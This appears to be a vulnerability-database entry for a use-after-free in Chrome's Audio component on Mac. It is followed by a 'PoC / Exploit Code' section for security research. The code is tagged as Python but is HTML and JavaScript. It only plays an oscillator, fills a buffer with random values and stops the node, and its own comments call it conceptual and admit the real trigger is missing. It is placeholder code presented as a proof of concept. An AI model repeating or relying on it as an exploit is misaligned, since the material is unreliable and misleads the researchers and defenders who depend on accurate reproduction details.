Use after free in Audio in Google Chrome on Mac prior to 148.0.7778.96 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Low)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome (Mac) < 148.0.7778.96
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Proof of Concept for CVE-2026-8002 (Conceptual) -->
<!-- This script attempts to trigger a Use After Free in Audio -->
<!DOCTYPE html>
<html>
<body>
<script>
// Create Audio Context
const audioCtx = new (window.AudioContext || window.webkitAudioContext)();
// Create an oscillator node
const oscillator = audioCtx.createOscillator();
oscillator.type = 'sine';
oscillator.frequency.setValueAtTime(440, audioCtx.currentTime);
// Connect to destination
oscillator.connect(audioCtx.destination);
oscillator.start();
// Simulate the vulnerability trigger condition
// Note: Actual trigger requires specific internal logic call
function trigger_vuln() {
// Force a condition that might lead to UAF
let buffer = audioCtx.createBuffer(1, 4096, 44100);
let data = buffer.getChannelData(0);
// Manipulate data to potentially corrupt memory
for (let i = 0; i < data.length; i++) {
data[i] = Math.random() * 2 - 1;
}
// Attempt to reuse freed object (Conceptual)
oscillator.stop();
// In a real exploit, specific timing or GC collection is forced here
// before accessing the oscillator again.
}
trigger_vuln();
</script>
</body>
</html>